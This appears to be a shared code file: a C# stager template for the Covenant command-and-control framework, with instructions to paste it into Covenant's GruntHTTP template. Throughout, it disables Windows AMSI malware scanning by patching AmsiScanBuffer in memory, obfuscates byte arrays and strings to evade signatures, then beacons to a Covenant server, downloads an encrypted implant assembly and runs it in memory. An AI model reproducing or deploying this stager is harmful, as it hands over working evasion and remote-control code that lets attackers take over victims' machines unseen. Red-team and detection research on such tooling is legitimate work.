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httpgrunt with amsi bypass
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// This is a Covenant Template file. Go to Covenant ==> Template ==> GruntHTTP ==> Stager Code | |
// and copy/paste this. | |
using System; | |
using System.Net; | |
using System.Linq; | |
using System.Text; | |
using System.Text.RegularExpressions; | |
using System.IO.Pipes; | |
using System.Reflection; | |
using System.Collections.Generic; | |
using System.Security.Cryptography; | |
using System.Runtime.InteropServices; | |
namespace GruntStager | |
{ | |
public class Win32 | |
{ | |
[DllImport("kernel32.dll")] | |
public static extern IntPtr LoadLibrary(string name); | |
[DllImport("kernel32.dll")] | |
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); | |
[DllImport("kernel32.dll")] | |
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); | |
} | |
public class GruntStager | |
{ | |
// <----------- AMSI Bypass from RastaMouse -----------> | |
// https://twitter.com/_xpn_/status/1170852932650262530 | |
static byte[] x64 = new byte[] { 0xB8, 0x90, 0x57, 0x90, 0x00, 0x07, 0x80, 0xC3 }; | |
static byte[] x86 = new byte[] { 0xB8, 0x90, 0x57, 0x00, 0x07, 0x90, 0x80, 0xC2, 0x18, 0x00 }; | |
// https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/master/ASBBypass/Program.cs | |
private static void PatchAmsi(byte[] patch) | |
{ | |
try | |
{ | |
var lib = Win32.LoadLibrary("amsi.dll"); | |
var addr = Win32.GetProcAddress(lib, "AmsiScanBuffer"); | |
uint oldProtect; | |
Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect); | |
Marshal.Copy(patch, 0, addr, patch.Length); | |
} | |
catch (Exception e) | |
{ | |
Console.WriteLine(" [x] {0}", e.Message); | |
} | |
} | |
private static bool is64Bit() | |
{ | |
bool is64Bit = true; | |
if (IntPtr.Size == 4) | |
is64Bit = false; | |
return is64Bit; | |
} | |
public static void Bypass() | |
{ | |
if (is64Bit()) | |
PatchAmsi(x64); | |
else | |
PatchAmsi(x86); | |
} | |
// <----------- AMSI Bypass Done -----------> | |
public GruntStager() | |
{ | |
ExecuteStager(); | |
} | |
[STAThread] | |
public static void Main(string[] args) | |
{ | |
new GruntStager(); | |
} | |
public static void Execute() | |
{ | |
new GruntStager(); | |
} | |
public void ExecuteStager() | |
{ | |
try | |
{ | |
// Removing 0x90 from "x64" AMSI byte array above | |
var x64List = new List<byte>(x64); | |
x64List.RemoveAll(b => b == 0x90); | |
byte[] x64Array = x64List.ToArray(); | |
var x86List = new List<byte>(x86); | |
x86List.RemoveAll(b => b == 0x90); | |
byte[] x86Array = x86List.ToArray(); | |
// Bypass Amsi | |
PatchAmsi(x64Array); | |
List<string> CovenantURIs = @"{{REPLACE_COVENANT_URIS}}".Split(',').ToList(); | |
string CovenantCertHash = @"{{REPLACE_COVENANT_CERT_HASH}}"; | |
List<string> ProfileHttpHeaderNames = @"dGVzdG8K,{{REPLACE_PROFILE_HTTP_HEADER_NAMES}}".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList(); | |
ProfileHttpHeaderNames.RemoveAt(0); // Remove the dGVzdG8K from the list | |
List<string> ProfileHttpHeaderValues = @"{{REPLACE_PROFILE_HTTP_HEADER_VALUES}}".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList(); | |
List<string> ProfileHttpUrls = @"{{REPLACE_PROFILE_HTTP_URLS}}".Split(',').ToList().Select(U => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(U))).ToList(); | |
string ProfileHttpPostRequest = @"{{REPLACE_PROFILE_HTTP_POST_REQUEST}}".Replace(Environment.NewLine, "\n"); | |
string ProfileHttpPostResponse = @"{{REPLACE_PROFILE_HTTP_POST_RESPONSE}}".Replace(Environment.NewLine, "\n"); | |
bool ValidateCert = bool.Parse(@"{{REPLACE_VALIDATE_CERT}}"); | |
bool UseCertPinning = bool.Parse(@"{{REPLACE_USE_CERT_PINNING}}"); | |
Random random = new Random(); | |
string aGUID = @"{{REPLACE_GRUNT_GUID}}"; | |
string GUID = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10); | |
byte[] SetupKeyBytes = Convert.FromBase64String(@"{{REPLACE_GRUNT_SHARED_SECRET_PASSWORD}}"); | |
// Adding random "?" to modify the hardcoded string | |
string MessageFormat = @"{{""G?UID"":""{0}"",""T?ype"":{1},""Me?ta"":""{2}"",""IV"":""{3}"",""Encry?ptedMessage"":""{4}"",""H?MAC"":""{5}""}}"; | |
// Removing "?" from the MessageFormat string above | |
var MessageFormatPatch = MessageFormat.Replace("?", ""); | |
MessageFormat = MessageFormatPatch; | |
Aes SetupAESKey = Aes.Create(); | |
SetupAESKey.Mode = CipherMode.CBC; | |
SetupAESKey.Padding = PaddingMode.PKCS7; | |
SetupAESKey.Key = SetupKeyBytes; | |
SetupAESKey.GenerateIV(); | |
HMACSHA256 hmac = new HMACSHA256(SetupKeyBytes); | |
RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(2048, new CspParameters()); | |
byte[] RSAPublicKeyBytes = Encoding.UTF8.GetBytes(rsa.ToXmlString(false)); | |
byte[] EncryptedRSAPublicKey = SetupAESKey.CreateEncryptor().TransformFinalBlock(RSAPublicKeyBytes, 0, RSAPublicKeyBytes.Length); | |
byte[] hash = hmac.ComputeHash(EncryptedRSAPublicKey); | |
string Stage0Body = String.Format(MessageFormat, aGUID + GUID, "0", "", Convert.ToBase64String(SetupAESKey.IV), Convert.ToBase64String(EncryptedRSAPublicKey), Convert.ToBase64String(hash)); | |
ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls; | |
ServicePointManager.ServerCertificateValidationCallback = (sender, cert, chain, errors) => | |
{ | |
bool valid = true; | |
if (UseCertPinning && CovenantCertHash != "") | |
{ | |
valid = cert.GetCertHashString() == CovenantCertHash; | |
} | |
if (valid && ValidateCert) | |
{ | |
valid = errors == System.Net.Security.SslPolicyErrors.None; | |
} | |
return valid; | |
}; | |
string transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage0Body)); | |
CookieWebClient wc = null; | |
string Stage0Response = ""; | |
wc = new CookieWebClient(); | |
wc.UseDefaultCredentials = true; | |
wc.Proxy = WebRequest.DefaultWebProxy; | |
wc.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials; | |
string CovenantURI = ""; | |
foreach (string uri in CovenantURIs) | |
{ | |
try | |
{ | |
for (int i = 0; i < ProfileHttpHeaderValues.Count; i++) | |
{ | |
if (ProfileHttpHeaderNames[i] == "Cookie") | |
{ | |
wc.SetCookies(new Uri(uri), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", "")); | |
} | |
else | |
{ | |
wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", ""), ProfileHttpHeaderValues[i].Replace("{GUID}", "")); | |
} | |
} | |
wc.DownloadString(uri + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", "")); | |
CovenantURI = uri; | |
} | |
catch | |
{ | |
continue; | |
} | |
} | |
for (int i = 0; i < ProfileHttpHeaderValues.Count; i++) | |
{ | |
if (ProfileHttpHeaderNames[i] == "Cookie") | |
{ | |
wc.SetCookies(new Uri(CovenantURI), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", GUID)); | |
} | |
else | |
{ | |
wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID)); | |
} | |
} | |
Stage0Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse)); | |
string extracted = Parse(Stage0Response, ProfileHttpPostResponse)[0]; | |
extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted)); | |
List<string> parsed = Parse(extracted, MessageFormat); | |
string iv64str = parsed[3]; | |
string message64str = parsed[4]; | |
string hash64str = parsed[5]; | |
byte[] messageBytes = Convert.FromBase64String(message64str); | |
if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; } | |
SetupAESKey.IV = Convert.FromBase64String(iv64str); | |
byte[] PartiallyDecrypted = SetupAESKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length); | |
byte[] FullyDecrypted = rsa.Decrypt(PartiallyDecrypted, true); | |
Aes SessionKey = Aes.Create(); | |
SessionKey.Mode = CipherMode.CBC; | |
SessionKey.Padding = PaddingMode.PKCS7; | |
SessionKey.Key = FullyDecrypted; | |
SessionKey.GenerateIV(); | |
hmac = new HMACSHA256(SessionKey.Key); | |
byte[] challenge1 = new byte[4]; | |
RandomNumberGenerator rng = RandomNumberGenerator.Create(); | |
rng.GetBytes(challenge1); | |
byte[] EncryptedChallenge1 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge1, 0, challenge1.Length); | |
hash = hmac.ComputeHash(EncryptedChallenge1); | |
string Stage1Body = String.Format(MessageFormat, GUID, "1", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge1), Convert.ToBase64String(hash)); | |
transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage1Body)); | |
string Stage1Response = ""; | |
for (int i = 0; i < ProfileHttpHeaderValues.Count; i++) | |
{ | |
if (ProfileHttpHeaderNames[i] == "Cookie") | |
{ | |
wc.SetCookies(new Uri(CovenantURI), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", GUID)); | |
} | |
else | |
{ | |
wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID)); | |
} | |
} | |
Stage1Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse)); | |
extracted = Parse(Stage1Response, ProfileHttpPostResponse)[0]; | |
extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted)); | |
parsed = Parse(extracted, MessageFormat); | |
iv64str = parsed[3]; | |
message64str = parsed[4]; | |
hash64str = parsed[5]; | |
messageBytes = Convert.FromBase64String(message64str); | |
if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; } | |
SessionKey.IV = Convert.FromBase64String(iv64str); | |
byte[] DecryptedChallenges = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length); | |
byte[] challenge1Test = new byte[4]; | |
byte[] challenge2 = new byte[4]; | |
Buffer.BlockCopy(DecryptedChallenges, 0, challenge1Test, 0, 4); | |
Buffer.BlockCopy(DecryptedChallenges, 4, challenge2, 0, 4); | |
if (Convert.ToBase64String(challenge1) != Convert.ToBase64String(challenge1Test)) { return; } | |
SessionKey.GenerateIV(); | |
byte[] EncryptedChallenge2 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge2, 0, challenge2.Length); | |
hash = hmac.ComputeHash(EncryptedChallenge2); | |
string Stage2Body = String.Format(MessageFormat, GUID, "2", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge2), Convert.ToBase64String(hash)); | |
transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage2Body)); | |
string Stage2Response = ""; | |
for (int i = 0; i < ProfileHttpHeaderValues.Count; i++) | |
{ | |
if (ProfileHttpHeaderNames[i] == "Cookie") | |
{ | |
wc.SetCookies(new Uri(CovenantURI), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", GUID)); | |
} | |
else | |
{ | |
wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID)); | |
} | |
} | |
Stage2Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse)); | |
extracted = Parse(Stage2Response, ProfileHttpPostResponse)[0]; | |
extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted)); | |
parsed = Parse(extracted, MessageFormat); | |
iv64str = parsed[3]; | |
message64str = parsed[4]; | |
hash64str = parsed[5]; | |
messageBytes = Convert.FromBase64String(message64str); | |
if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; } | |
SessionKey.IV = Convert.FromBase64String(iv64str); | |
byte[] DecryptedAssembly = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length); | |
Assembly gruntAssembly = Assembly.Load(DecryptedAssembly); | |
gruntAssembly.GetTypes()[0].GetMethods()[0].Invoke(null, new Object[] { CovenantURI, CovenantCertHash, GUID, SessionKey }); | |
} | |
catch (Exception e) { Console.Error.WriteLine(e.Message + Environment.NewLine + e.StackTrace); } | |
} | |
public class CookieWebClient : WebClient | |
{ | |
public CookieContainer CookieContainer { get; private set; } | |
public CookieWebClient() | |
{ | |
this.CookieContainer = new CookieContainer(); | |
} | |
public void SetCookies(Uri uri, string cookies) | |
{ | |
this.CookieContainer.SetCookies(uri, cookies); | |
} | |
protected override WebRequest GetWebRequest(Uri address) | |
{ | |
var request = base.GetWebRequest(address) as HttpWebRequest; | |
if (request == null) return base.GetWebRequest(address); | |
request.CookieContainer = CookieContainer; | |
return request; | |
} | |
} | |
public static List<string> Parse(string data, string format) | |
{ | |
format = Regex.Escape(format).Replace("\\{", "{").Replace("{{", "{").Replace("}}", "}"); | |
if (format.Contains("{0}")) { format = format.Replace("{0}", "(?'group0'.*)"); } | |
if (format.Contains("{1}")) { format = format.Replace("{1}", "(?'group1'.*)"); } | |
if (format.Contains("{2}")) { format = format.Replace("{2}", "(?'group2'.*)"); } | |
if (format.Contains("{3}")) { format = format.Replace("{3}", "(?'group3'.*)"); } | |
if (format.Contains("{4}")) { format = format.Replace("{4}", "(?'group4'.*)"); } | |
if (format.Contains("{5}")) { format = format.Replace("{5}", "(?'group5'.*)"); } | |
Match match = new Regex(format).Match(data); | |
List<string> matches = new List<string>(); | |
if (match.Groups["group0"] != null) { matches.Add(match.Groups["group0"].Value); } | |
if (match.Groups["group1"] != null) { matches.Add(match.Groups["group1"].Value); } | |
if (match.Groups["group2"] != null) { matches.Add(match.Groups["group2"].Value); } | |
if (match.Groups["group3"] != null) { matches.Add(match.Groups["group3"].Value); } | |
if (match.Groups["group4"] != null) { matches.Add(match.Groups["group4"].Value); } | |
if (match.Groups["group5"] != null) { matches.Add(match.Groups["group5"].Value); } | |
return matches; | |
} | |
// {{REPLACE_PROFILE_MESSAGE_TRANSFORM}} | |
} | |
} |
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